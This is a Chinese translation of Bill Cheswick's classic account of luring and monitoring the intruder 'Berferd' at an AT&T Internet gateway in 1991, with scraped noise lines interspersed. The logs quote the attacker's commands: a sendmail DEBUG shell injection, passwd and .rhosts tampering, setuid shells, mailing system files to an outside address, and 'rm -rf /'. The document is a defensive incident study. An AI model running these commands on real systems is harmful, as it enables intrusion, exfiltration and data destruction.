引誘、欺騙并研究一個黑客——陪伴berferd的一個夜晚

在1991年1月7號，一個黑客，他確信自己發(fā)現(xiàn)了我們的Internet網(wǎng)關(guān)計算機的sendmail的一個DUBUG漏洞的黑客，試圖獲得我們的password文件，我“送”給他了一份。
在幾個月中，我們引誘這名黑客作各種快樂的嘗試，以便于我們發(fā)現(xiàn)他的位置和使用的破解技術(shù)。這篇文章是對該黑客的“成功”和失敗，我們使用的誘餌和陷阱的詳細記錄
1 L9 h; l. a# r2 T6 m1 [我們的結(jié)論是我們所遇到的這個黑客擁有大量的時間，固執(zhí)異常，并持有一份優(yōu)秀的系統(tǒng)漏洞列表。一旦他獲得了系統(tǒng)的一個正式注冊身份，使用那些漏洞他可以輕易的攻破uucp和bin帳號，然后是root。我們的黑客對軍事目標(biāo)和可以幫助他中轉(zhuǎn)其連接的新機器很感興趣。
8 t9 W1 J  s) h& S1 X, e; z簡介
; f& D8 w' K' T) N( y% |+ d5 ~) S2 d我們的安全Internet網(wǎng)關(guān)是1990年1月開始使用的。對于這個整個城堡的大門，我想知道它所可能遭到的攻擊會有多么頻繁。我明白Internet上有一些喜歡使用“暴力”的人，那么他們是誰？他們會攻擊什么地方？會多么頻繁？他們經(jīng)常嘗試系統(tǒng)的那些漏洞？
) g: i4 _! b% b事實上，他們沒有對AT&T作出破壞，甚至很少光顧我們的這扇大門，那么，最終的樂趣只有如此，引誘一個黑客到一個我們設(shè)計好的環(huán)境中，記錄下來他的所有動作，研究其行為，并提醒他的下一個目標(biāo)作出防范。
大多數(shù)Internet上的工作站很少提供工具來作這些事情，商業(yè)系統(tǒng)檢測并報告一些問題，但是它們忽略了很多我們想要的東西。我們的網(wǎng)關(guān)每天產(chǎn)生10兆的日志文件。但人們對于日志記錄以外的服務(wù)的攻擊呢？
: F( Q3 d; N! e, O9 F: x& D4 s我們添加了一些虛假的服務(wù)在系統(tǒng)上，同時我編寫了一個script文件用來檢索每天的日志。我們檢查以下幾點：
FTP ：檢索的工具會報告每天所有注冊和試圖注冊的用戶名。它還會報告用戶對tilde的使用（這是個老版本的ftp的漏洞）、所有對ftp目錄的/etc/passwd和/etc/group的存取以及對pub目錄下完整文件列表的獲取。獲取passwd的人通常用它來獲得系統(tǒng)的正式用戶的注冊名稱，然后攻擊、破解其密碼。有時有些系統(tǒng)的管理員會將系統(tǒng)的真實passwd文件放在ftp的/etc目錄下，我們偽造了一個passwd文件，它的密碼被破解后是“why are you wasting your time.”
5 V& S% [+ u* n2 [9 r/ qTelnet / login ：所有試圖login的動作都被記錄了下來。這很容易就可以看出有些人在嘗試很多帳號，或強力攻擊某一個帳號。因為我們這個Internet的大門除了“警衛(wèi)”外沒有什么別的用戶，很容易就可以找到問題所在。
1 t- K. h+ M# [: a9 jGuest / visitor 帳號：黑客們第一個尋找的就是公用帳號。這些帳號提供了友好的，最輕易的獲取幾乎系統(tǒng)的所有文件的機會，包括passwd文件。黑客也可以通過獲取/etc/hosts.equiv文件或每個用戶的.rhosts文件來獲得機器的信任主機列表。我們對于這些帳號的login script文件是這樣編寫的：
4 S# F' o  j7 `. X7 s9 Texec 2>/dev/null # ensure that stderr doesn't appear
; T/ O  s: Z" ?$ l  A3 Otrap "" 1
7 I" c2 ?: B9 w& L. i1 Q/bin/echo
3 R; A) _+ j4 A$ p* m# Z- Z( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
, o+ I; z. b, i0 nupasname=adm /bin/mail ches dangelo &
# (notify calling machine's administrator for some machines...)
# (finger the calling machine...)
) 2>&1 | mail ches dangelo
2 G0 H2 z8 P) t! K/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
4 z3 J# F5 H1 A+ e+ W' L7 d; y/bin/echo "/tmp full"
/bin/echo "/tmp full"
/bin/echo
sleep 60 # ... and simulating a busy machine is useful
我們必須小心以便不讓調(diào)用者看到系統(tǒng)的標(biāo)志出錯信息（如果一旦我們編寫的script有誤）。注意$CALLER是在另一端的主機或IP地址。通過修改telnetd或login，它將可以通過環(huán)境變量來獲取。
SMTP DEBUG : 這個命令提供了兩個守候sendmail的漏洞的陷阱。雖然幾乎所有的產(chǎn)品出售商都清除了這個漏洞，但偶爾仍有黑客嘗試它。這個漏洞允許外部的使用者使用一段以root權(quán)限執(zhí)行的script。當(dāng)有些人嘗試這個漏洞時，我就獲得了他嘗試的script代碼。
$ I  O5 J  g& iFinger ：Finger提供了大量有用的信息給黑客：帳號名，該帳號的最后一次使用時間，以及一些可以用來猜測密碼的信息。由于我們的組織不允許提供這些信息給別人，我們置入了一個程序，在finger了fingerd的調(diào)用者后拒絕figner請求。（當(dāng)然我們會避免對來自自己的finger信息的死循環(huán)）。報告表明每天有數(shù)以十計的finger請求，其中大部分是合法的。
6 ]1 a8 q' W' G3 I# ^Rlogin / rsh ：這些命令都是基于一些無條件信任的系統(tǒng)，我們的機器并不支持。但我們會finger使用這些命令的用戶，并將他的嘗試和用戶信息等生成報告。
上述很多探測器都使用figner命令來查明調(diào)用的機器和使用者。
當(dāng)一個嘗試顯示為有不合法企圖時，我就發(fā)出這樣一條消息：
5 G3 z( x9 s6 }* H* ]. ]; P9 zinetfans postmaster@sdsu.edu
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
; q* n- X6 l$ {' a/ N8 Cfrom our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.
Just thought you'd like to know.
) m7 z6 _' @& y+ ?( b( T% t5 g# DBill Cheswick
這是一個典型的信件，它被發(fā)往“inetfans”，這些人屬于計算機緊急響應(yīng)小組(Computer Emergency Response Team , CERT)、某些興趣小組或?qū)δ承┱军c感興趣的人。
很多系統(tǒng)管理員很重視這些報告，尤其是軍事站點。通常，系統(tǒng)管理員在解決這些問題上都非常合作。對這些信件的反應(yīng)包括道歉，拒絕信件，關(guān)閉帳號以及沉默等等。當(dāng)一個站點開來愿意支持黑客們的活動時，我們會考慮拒收來自該站的所有信息包。
不友好的行動
& B7 P9 J2 @" j9 H6 i7 @$ N我們從1990年1月設(shè)置好這些探測器。統(tǒng)計表明被攻擊率在每年學(xué)校的假期期間會上升。我們的被攻擊率可能比其他站點高，因為我們是廣為人知的，并被認為是“電話公司”。
當(dāng)一個遠程使用者取走passwd文件時，并不是所有的人都出于惡意的目的。有時他們只是想看看是否傳輸能正常工作。
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
! K- q% N- y$ ~' H" v19:43:14 smtpd[27466]: DEBUG attempt
19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
+ P: c- A" e! n, W9 o! T5 m19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
19:43:34 smtpd[27466]: HELO from
19:43:34 smtpd[27466]: <--- 250 inet.att.com
: @- T1 \; q* n19:43:42 smtpd[27466]: -------> mail from:
) e# r% p! c9 n6 b+ v# y$ q19:43:42 smtpd[27466]: <--- 250 OK
, U, V6 U% J+ |, v/ m5 }, y19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
19:45:04 smtpd[27466]: <--- 250 OK
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
7 O0 |2 @" C9 j% N7 c8 O; W19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
! g) k) b, g2 ~6 j6 N* i19:45:08 smtpd[27466]: finished.
+ d; {! e0 k& P8 Z這是我們對SMTP過程的日志。這些看來很神秘的日志通常是有兩個郵件發(fā)送器來相互對話的。在這個例子中，另一端是由人來鍵入命令。他嘗試的第一個命令是DEBUG。當(dāng)他接收的“250 OK”的回應(yīng)時一定很驚奇。關(guān)鍵的行是“rcpt to :”。在尖括號括起的部分通常是一個郵件接收器的地址。這里它包含了一個命令行。Sendmail在DEBUG模式下用它來以ROOT身份執(zhí)行一段命令。即：
sed -e '1,/?$/'d | /bin/sh ; exit 0"
它剝?nèi)チ肃]件頭，并使用ROOT身份執(zhí)行了消息體。這段消息郵寄給了我，這是我記錄下來的，包含時間戳：
19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我們郵寄給他一份我們的passwd文件。大概用來運行一些passwd破解程序。所有這些探測結(jié)果都來自EMBEZZLE.STANFORD.EDU的一個adrian用戶。他在美國空襲伊拉克半個小時后公然作出敵意反應(yīng)。我懷疑是薩達姆雇傭了一兩個黑客。我恰巧在ftp的目錄下有一個假的passwd文件，就用root身份給Stanford發(fā)了過去。
% B" |9 ?3 T+ e) U' o  c第二個早晨，我聽到了來自Stanford的消息：他們知道了這件事，并正在發(fā)現(xiàn)問題所在。他們說adrian這個帳號被盜用了。
接著的一個星期天我接到了從法國發(fā)來的一封信：
To: root@research.att.com
! ^/ V" x' w: f* w3 ~# z- rSubject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
$ ^' R8 t- y5 ]7 _, fI have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
(she) has left a file called passwd. The contents are:
------------>
From root@research.att.com Tue Jan 15 18:49:13 1991
% V& v1 I6 @5 [( T$ I! T- N9 t6 }1 kReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
% O' l% Y; ~3 y; R) mFrom: root@research.att.com
9 g6 w: ~" Y$ e4 X6 l4 RDate: Tue, 15 Jan 91 21:48 EST
To: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
Daemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
* e% |0 z/ V( \! J& s) U9 _8 D+ F) rAdm: *:4:4:0000-Admin(0000):/usr/adm:
  ^3 F5 i# p. ]+ A1 Q. AUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
; l* O4 ~4 I  qNuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
- F- @2 K& X$ gFtp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
8 w1 O# c: v. e4 cDmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
& |6 y) q# Z" R- a/ e/ y0 I. JRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
1 w0 ]9 O+ n  ~0 tStatus: R
  ?0 x; n! N" w, u, ^------------Please let me know if you heard of him.
( D% ]" m3 R1 B, M2 p$ a陪伴Berferd的一個夜晚
1月20號，星期天晚上，我的終端報告有安全敏感事件。
22:33 finger attempt on berferd
幾分鐘后，有人試圖使用DEBUG來用ROOT身份執(zhí)行命令，他試圖修改我們的passwd文件！
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
- L! v) W' J2 P5 Scp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
連接同樣來自EMBEZZLE.STANFORD.EDU。
我該怎么作呢？我不希望他真的能獲得一個網(wǎng)關(guān)的帳號，為什么引狼入室呢？那樣我將得不到他的鍵盤活動。
; X+ h; h, x) ], y8 i* b+ c我應(yīng)該繼續(xù)看看他關(guān)注的其他事情，或許我可以手工模擬一下操作系統(tǒng)，這意味著我必須讓他以為機器速度很慢，因為我無法和MIPS M/120相比。同時意味著我必須模擬一個一致的操作系統(tǒng)。
+ B/ m9 U: t  i) t- u% C# C7 ?我已經(jīng)有一個要求了，因為他已經(jīng)持有了一份passwd。
決定一：ftp的passwd是一個真實的passwd。
還有另外的兩個：
, ?, Y- _5 L( |2 G+ j4 r. n決定二：網(wǎng)關(guān)機器管理極差。（有DEBUG漏洞，ftp目錄里有passwd）。
3 d. O4 Q. c3 ~+ P" k& f9 y7 R決定三：網(wǎng)關(guān)機器極慢。
因此我決定讓他以為他已經(jīng)改變了passwd文件，但卻不急于讓他進來。我必須生成一個帳號，但卻使它不可操作。我應(yīng)該怎么辦？
決定四：我的shell并沒有放在/bin下，它放在其他地方。這樣，他進來后（讓他認為passwd已經(jīng)改動了），沒有可運行的shell。
8 D4 S7 `/ Q" u; m這個決定很愚蠢，但我不會因此損失任何東西。我寫了一個script，生成了一個臨時帳號b，當(dāng)它被調(diào)用時它會給我發(fā)信，調(diào)用者將看到如下信息：
RISC/os (inet)
/ T3 ]2 ~* T4 Ologin: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
3 m! e4 k9 T/ Z$ q# R2 lAll Rights Reserved
Shell not found
/ [0 f. b8 `7 d我把b帳號在實際passwd文件中改成了beferd，當(dāng)我作完后，他在此嘗試：
/ X+ x# r6 U" F0 v$ F. n22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
他的另一個試圖添加到passwd文件的嘗試。事實上，在我為bferd完成新的配置之前他開始急躁了：
22:45 talk adrian@embezzle.stand?Hford.edu
talk adrian@embezzle.stanford.edu
決定五：我們沒有talk這個命令。
他選擇了berferd這個帳號：
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
4 o2 n3 e, Y7 k7 M2 z22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
- n* t( N. M- R+ j& S& g* [22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
22:57 (Added bfrd to the real password file.)
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
1 t7 y7 u- c6 Z7 x" [22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
/ Z7 U) l4 G! }6 ?, [) `23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
( K" ?% o: R/ ~9 y# O  D23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
: F. O# g# u5 k4 ?" k) Z23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
很顯然他希望能夠rlogin到我們的網(wǎng)關(guān)，這需要一些本地文件的特定設(shè)置。我們并沒有作rlogin的檢測。
+ l; p) N: Y$ X這時他又有新的動作：
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
3 ?% S, n8 M% d8 m! a: o" Z23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
. O& _( |6 F  w# K" ?8 o在rlogin失敗后，他希望能得到我們的inetd.conf文件來查看我們究竟啟動了什么服務(wù)。我不想讓他看到真正的inetd.conf，但偽造一個又非常困難。
6 t6 k& ]# B" J1 `決定七：網(wǎng)關(guān)機器運行不穩(wěn)定，時有不確定事件。
' p) W! U1 Q2 a9 L4 p23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
0 Z, Z. S- C2 ~8 t8 yecho "embezzle.stanford.edu adrian" >> /tmp/.rhosts
ps -aux|mail adrian@embezzle.stanford.edu
. B- O8 T6 B4 o% e6 i9 w1 s( J! `% `mail adrian@embezzle.stanford.edu < /etc/inetd.conf
! d$ R/ n  b, `  b! ?我不希望他看到ps的結(jié)果，幸運的是，他的Berkeley系統(tǒng)的ps命令在我的System V機器上是無效的。
1 Q- R! Y6 z# V  Q8 }這時我通知了CERT，這時一起嚴重的攻擊事件，在Stanford也應(yīng)該有追蹤這些請求的人。這時，活動又轉(zhuǎn)到ftp上來：
8 {, \; I# @; l; c$ CJan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
- E( j* V) V( T# t. {& C- V(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
9 R$ i  k, k5 y+ F9 V4 WJan 20 23:37:06 inet ftpd[14437]: -------> pass?M
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M
: m% X0 C2 E- a9 z* I  N$ g5 W) wJan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
1 s' O& e; E8 q7 M! k; k# `( {" c3 Crecognized (* =>'s unimplemented).
  N& k) G( @! k4 |( l9 TJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
2 R! ~8 Q+ i+ TJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
( J: U: s5 e+ Q4 g5 n, WJan 20 23:37:31 inet inetd[116]: exit 14437
: R4 A$ r$ }/ g6 {Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
5 Z( c  ]4 x$ A7 j- wJan 20 23:37:41 inet inetd[116]: exit 14454
+ K  m# F3 E  d( h23:38 finger attempt on berferd
/ ?1 k, o3 C: e23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
7 W) s" K' D! B: e* e% zcp /bin/sh /usr/etc/fingerd
' f* V; ?% G) u$ j% R  ~決定四已經(jīng)決定了最后一行的嘗試必然失敗。因此，他只是破壞了我們模擬的機器上的finger而已，并沒有將之替換成一個shell程序。我關(guān)閉了實際的fingerd程序。
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:58 cp /bin/csh /usr/etc/fingerd
# A  a/ y  E# Z$ f* o* W" e8 h' B我們模擬的機器上csh并不在/bin下，因此這個命令無效。
) u5 w2 d- _3 X1 J( E) o& `6 x4 W00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
好吧，fingerd現(xiàn)在重新開始工作。Berferd的恢復(fù)工作干的不錯。
. I4 K5 y% I% T6 v' `( l) C00:14 passwd bfrt
bfrt
1 M7 e% e. y, x, lbfrt
現(xiàn)在他試圖修改password，這永遠不會成功，因為passwd的輸入是/dev/tty，不是sendmail所執(zhí)行的shell script。
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) [- A! j( ?2 y1 m1 q00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
- A! [9 h: I$ _; k1 t# @' zchmod 755 /tmp/Shell
00:19 chmod 4755 /tmp/shell
- M9 h7 J$ Z1 q; e# K) t; U' j2 D00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
1 t! G" E" {7 \$ g3 H3 w( \# y* ^' H00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
' Y* \  P& z$ n/ b00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
這時我已經(jīng)很累了。
01:55 rm -rf /&
喔??！太狠了！顯然機器的狀態(tài)讓他迷惑，他希望能清除所有的痕跡。有些黑客會保護自己所作的工作，聲明自己不作任何破壞。我們的黑客對我們感到疲勞了，因此以此結(jié)束。
他繼續(xù)工作了幾分鐘，后來放棄：
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
07:17 finger attempt on berferd
4 a# H  z" E; r07:19 /bin/rm -rf /&
/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
) N# S: b8 v! [+ e8 @09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU